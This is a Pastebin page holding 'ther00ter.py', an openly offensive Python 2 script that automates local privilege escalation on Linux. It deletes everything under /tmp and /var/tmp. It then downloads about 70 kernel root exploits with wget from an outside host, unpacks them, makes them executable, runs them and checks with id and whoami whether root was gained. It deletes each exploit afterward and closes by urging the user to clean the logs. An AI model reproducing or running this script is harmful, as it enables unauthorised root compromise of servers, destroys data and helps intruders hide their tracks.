Advertisement
unknowns-mm

ther00ter.py

Sep 5th, 2016
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!usr/bin/env python
  2. import os, time
  3. print "[WARNING] I Am Not Taking Any Responsibility For Mis-Using The Script"
  4. print "[INFO] Clone Of Perl Script @http://kabooos.persiangig.com/r00t/r00t.pl"
  5. print "#"*100
  6. exploits = ['2.6.18-374.12.1.el5-2012', 'bru1.tar.gz', 'vmsplice-local-root-exploit', '44', '2.6.18-6-x86-2011', 'exp1', '2-1', '1-3', 'american-sign-language', '2.6.18-194', '13.py', '2.6.18-274-2011', '2.6.28-2011', '15200', '6', 'lenis.sh', 'exploit', '15150', '2.6.18-164-2010', '7', '18-5', '13x', '1', 'pwnkernel', 'full-nelson', '31', '2.6.34-2011Exploit2', '2-6-37', '7-2', '2.6.37-rc2', 'exp3', 'runx', '2.6.33', '2.6.37', '2.6.33-2011', '18', '.rar', 'bru2.tar.gz', 'rot', '1-2', 'exp2', 'gayros', '2.6.34-2011Exploit1.1', 'tivoli', '14', '3', '2.6.34-2011Exploit1', '5', '2.6.39-2012', '9', 'audit', '2-6-32-46-2011', '16-1', '36-rc1', '4', '15.sh', '7x', '1-4', '2.6.18-194.1-2010', '2', '16', 'z1d-2011', 'ubuntu', '8', '10', 'local-root-exploit-gayros', '2.6.18-194.2-2010', 'root1']
  7. os.system("rm -rf /tmp/*")
  8. os.system("rm -rf /var/tmp/*")
  9. ##\t __ ___ ___ _______ _______ __
  10. ##\t_/ |_ / | \ ____ _______ \ _ \ \ _ \_/ |_ ___________
  11. ##\t\ __\/ ~ \_/ __ \ \_ __ \/ /_\ \/ /_\ \ __\/ __ \_ __ \
  12. ##\t | | \ Y /\ ___/ | | \/\ \_/ \ \_/ \ | \ ___/| | \/
  13. ##\t |__| \___|_ / \___ > |__| \_____ /\_____ /__| \___ >__|
  14. ##\t \/ \/ \/ \/ \/
  15. ##\t[~] Coded By : Subir Sutradhar
  16. ##\t[~] Team : Computer Korner
  17. ##\t[~] Contact : c0d3gray[AT]gmail[DOT]com
  18. b0x = "0a0920205f5f20202020205f5f5f205f5f5f202020202020202020202020202020202020205f5f5f5f5f5f5f20205f5f5f5f5f5f5f2020205f5f202020202020202020202020202020200a095f2f20207c5f20202f2020207c2020205c2020205f5f5f5f2020205f5f5f5f5f5f5f205c2020205f20205c205c2020205f20205c5f2f20207c5f20205f5f5f5f5f5f5f5f5f5f5f200a095c2020205f5f5c2f202020207e202020205c5f2f205f5f205c20205c5f20205f5f205c2f20202f5f5c20205c2f20202f5f5c20205c2020205f5f5c2f205f5f205c5f20205f5f205c0a09207c20207c20205c2020202059202020202f5c20205f5f5f2f2020207c20207c205c2f5c20205c5f2f2020205c20205c5f2f2020205c20207c205c20205f5f5f2f7c20207c205c2f0a09207c5f5f7c2020205c5f5f5f7c5f20202f20205c5f5f5f20203e20207c5f5f7c202020205c5f5f5f5f5f20202f5c5f5f5f5f5f20202f5f5f7c20205c5f5f5f20203e5f5f7c2020200a0920202020202020202020202020205c2f202020202020205c2f20202020202020202020202020202020205c2f202020202020205c2f202020202020202020205c2f0a095b7e5d20436f646564204279203a205375626972205375747261646861720a095b7e5d205465616d20202020203a20436f6d7075746572204b6f726e65720a095b7e5d20436f6e7461637420203a2063306433677261795b41545d676d61696c5b444f545d636f6d0a095b7e5d204164617074656420416e6420446576656c6f7065642041205065726c205363726970740a2020202020202020202020202020"
  19. print b0x.decode('hex')
  20. print "#"*100
  21. print "\n"*2
  22. print "[INFO] Total r00t Exploits : "+str(len(exploits))+"\n"
  23. print "[INFO] Firing...(Press Ctrl+C 2 Times To Stop)\n"
  24. connectMe = "http://kabooos.persiangig.com/r00t/"
  25. buildGet = []
  26. for exploit in exploits:
  27. connectMeTo = connectMe + exploit
  28. buildGet.append(connectMeTo)
  29. for bullets in buildGet:
  30. try:
  31. if "tar" in bullets:
  32. getter = "wget "+bullets
  33. os.system(getter)
  34. print
  35. bull = bullets.split("/")
  36. untar = "tar xzf "+bull[-1]
  37. os.system(untar)
  38. print
  39. time.sleep(0.1)
  40. perm = "chmod 777 run"
  41. perm1 = "chmod 777 run.sh"
  42. os.system(perm)
  43. print
  44. os.system(perm1)
  45. print
  46. perm = "chmod u+x run"
  47. perm1 = "chmod u+x run.sh"
  48. os.system(perm)
  49. print
  50. os.system(perm1)
  51. os.system("./run")
  52. print
  53. os.system("./run.sh")
  54. print
  55. os.system("id")
  56. print
  57. os.system("whoami")
  58. print "\n[INFO] If You Are r00t, Press Ctrl+c"
  59. else:
  60. getter = "wget "+bullets
  61. os.system(getter)
  62. print
  63. bull = bullets.split("/")
  64. bull = bull[-1]
  65. perms = "chmod 777 "+bull
  66. os.system(perms)
  67. permss = "chmod u+x "+bull
  68. os.system(permss)
  69. print
  70. execute = "./"+bull
  71. os.system(execute)
  72. print "[INFO] Id Status ... "
  73. os.system("id")
  74. print
  75. print "[?] Who Am I ? "
  76. os.system("whoami")
  77. print "\n[INFO] If You Are r00t, Press Ctrl+c"
  78. print "\n[INFO] Firing NexT sHot.. Hold On"
  79. cleaner = "rm -rf "+bull
  80. os.system(cleaner)
  81. time.sleep(5)
  82. except KeyboardInterrupt,e:
  83. print "\n[INFO] tHe r00ter Stopped Attacking.."
  84. break
  85. except Exception,e:
  86. print "\n[INFO] "+e
  87.  
  88. print
  89. print "5b7e5d20744164412e2e2046726f6d20436f6d7075746572204b6f726e6572205465616d205b7777772e636f6d70757465726b6f726e65722e626c6f6773706f742e636f6d5d"
  90. print "\n[INFO] DO NOT FORGET TO CLEAN YOUR LOGS"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement